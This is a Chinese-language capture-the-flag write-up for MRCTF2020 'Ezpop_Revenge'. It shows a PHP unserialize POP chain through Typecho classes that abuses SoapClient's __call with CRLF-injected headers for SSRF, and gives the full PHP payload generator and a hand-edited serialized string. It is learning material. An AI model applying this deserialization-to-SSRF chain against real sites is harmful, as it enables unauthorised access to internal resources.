MRCTF2020 web Ezpop_Revenge 簡單記錄

題目介紹

首先這是一個typecho的框架
然後通過掃目錄得到www.zip源碼泄露,然後就是審計代碼了~~

解題過程

首先我們找到輸入點

在這裏插入圖片描述
在插件中,我們發現action()的代碼
這兒需要說明一下,這兒的action一般是自動加載的,當路由加載類是會自動加載某個函數,所以我們直接搜索這個類得名稱~~
在這裏插入圖片描述
在這裏插入圖片描述

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

這句代碼的意思就是訪問/page_admin的時候,會自動加載HelloWorld_Plugin類,而且會自動調用action函數,所以我們輸入點的路由爲/page_admin

尋找pop鏈

在根目錄下有flag文件
在這裏插入圖片描述
很明顯的ssrf,結合輸入點的反序列化,我們直接想到soapssrf
當訪問後,會自動把flag寫進訪問的session

usr下面的Plugin.php中有一個類
在這裏插入圖片描述
我們跟進Typecho_Db
在這裏插入圖片描述
然後在Typecho_Db__construct中發現字符串拼接,這個時候我們就知道肯定實調用某個類的__tostring,因爲$adapterName我們可控
所以我們直接搜索__tostring
在這裏插入圖片描述
然後跟蹤到Query.php__tostring
假如Typecho_Db::SELECT(靜態值)的值爲SELECT,則跟進$this->_adapter
我們發現這個值我們也是可控的,這個時候我們控制_adapter爲soap類就可以了~~
在這裏插入圖片描述

這是時候梳理一下pop鏈
首先時/usr下的Plugins.php反序列化調用HelloWorld_DB觸發Typecho_Db類,並且可以控制其中的$adapterName
$adapterName拼接到字符串中,觸發__tostring,所以這個時候我們使得$adapterNameQuery.php中的Typecho_Db_Query類,並且控制私有變量$_adapter爲soap類來本地訪問flag.php
在這裏插入圖片描述
這個時候再訪問soap的parseSelect方法,但是此方法並不存在,所以就會觸發soap的__call方法來打到本地訪問的目的

payload:

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
       $target = 'http://127.0.0.1/flag.php';
		$headers = array(
		'X-Forwarded-For: 127.0.0.1',
		'Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1'
		);
		$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

這個時候先生成序列化的值,然後再做一些小處理
我們都知道私有變量類名的前後都有%00,但是某些特定版本的情況下,這樣也會出錯
這個時候我們需要將s改爲S,並添加\00
如同這個樣子

$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1";s:13:"_soap_version";i:1;}}}}';

然後再添加\r\n,base64編碼

$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);

我們soap訪問的PHPSESSID的值爲a8vkg6l5j5sesvqan5q5s4obr1

這個時候訪問/page_admin頁面
在這裏插入圖片描述
然後更換PHPSESSID
在這裏插入圖片描述
得到flag

寫在最後,再說一下爲啥要更換s,和添加\00,而不是直接編碼

都知道private屬性會在反序列化的生成一個標誌性的%00,關於這個坑點p神是這麼說的

  • PHP序列化的時候privateprotected變量會引入不可見字符\x00,輸出和複製的時候可能會遺失這些信息,導致反序列化的時候出錯。
  • private屬性序列化的時候會引入兩個\x00,注意這兩個\x00就是ascii碼爲0的字符。這個字符顯示和輸出可能看不到,甚至導致截斷,如圖1,url編碼後就可以看得很清楚了。
  • 同理,protected屬性會引入\x00*\x00
  • 此時,爲了更加方便進行反序列化Payload的傳輸與顯示,我們可以在序列化內容中用大寫S表示字符串,此時這個字符串就支持將後面的字符串用16進製表示。比如s:5:”A<null_byte>B“;̀ -> S:5:”A\00B\09\0D”;
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章